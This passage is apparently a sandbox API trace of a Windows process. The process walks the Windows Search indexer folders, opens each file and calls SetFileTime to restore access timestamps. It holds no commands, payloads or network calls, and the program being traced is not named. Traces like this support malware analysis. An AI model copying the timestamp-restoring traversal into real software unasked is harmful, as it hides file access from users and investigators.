ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiFiles", cAlternateFileName="")) returned 0 [0091.721] GetLastError () returned 0x12 [0091.721] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9240 [0091.721] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.721] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.721] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiFiles", cAlternateFileName="")) returned 1 [0091.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aca0 [0091.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135ada8 [0091.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles"), fInfoLevelId=0x0, lpFileInformation=0x119de00 | out: lpFileInformation=0x119de00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.722] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.723] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119de44, lpLastWriteTime=0x119de44) returned 0 [0091.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.723] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119de9c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119de9c, lpOverlapped=0x0) returned 0 [0091.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.723] NtClose (Handle=0x170) returned 0x0 [0091.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135ada8) returned 1 [0091.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135ada8 [0091.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aeb0 [0091.725] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*", fInfoLevelId=0x1, lpFindFileData=0x119dc4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119dc4c) returned 0x2e9140 [0091.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.728] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299f0de0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299f0de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a16f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0001.000", cAlternateFileName="")) returned 1 [0091.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135afb8 [0091.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7558 [0091.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b0c0 [0091.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.730] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a16f40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a16f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a16f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0001.001", cAlternateFileName="")) returned 1 [0091.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7578 [0091.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b1c8 [0091.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.732] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a16f40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a16f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a16f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0001.002", cAlternateFileName="")) returned 1 [0091.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7598 [0091.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b2d0 [0091.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.734] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a3d0a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0002.000", cAlternateFileName="")) returned 1 [0091.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f75b8 [0091.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b3d8 [0091.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.736] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a3d0a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0002.001", cAlternateFileName="")) returned 1 [0091.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f75d8 [0091.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b4e0 [0091.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.738] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a3d0a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0002.002", cAlternateFileName="")) returned 1 [0091.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f75f8 [0091.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b5e8 [0091.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299cac80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299cac80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x299f0de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAD0001.000", cAlternateFileName="")) returned 1 [0091.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7618 [0091.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b6f0 [0091.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.743] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299cac80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299cac80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x299cac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAD0001.001", cAlternateFileName="")) returned 1 [0091.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7638 [0091.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b7f8 [0091.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.745] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299cac80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299cac80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x299cac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAD0001.002", cAlternateFileName="")) returned 1 [0091.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7658 [0091.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135b900 [0091.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.747] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2997e9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2997e9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDEX.000", cAlternateFileName="")) returned 1 [0091.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7678 [0091.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135ba08 [0091.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.749] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2997e9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2997e9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2997e9c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDEX.001", cAlternateFileName="")) returned 1 [0091.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7698 [0091.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135bb10 [0091.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.751] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2997e9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2997e9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2997e9c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDEX.002", cAlternateFileName="")) returned 1 [0091.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f76b8 [0091.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135bc18 [0091.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9b40) returned 0x132a698 [0091.753] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETTINGS.DIA", cAlternateFileName="")) returned 1 [0091.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f76d8 [0091.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135bd20 [0091.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETTINGS.DIA", cAlternateFileName="")) returned 0 [0091.755] GetLastError () returned 0x12 [0091.755] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*", fInfoLevelId=0x1, lpFindFileData=0x119dc4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119dc4c) returned 0x2e9040 [0091.755] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299f0de0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299f0de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a16f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0001.000", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a16f40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a16f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a16f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0001.001", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a16f40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a16f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a16f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, 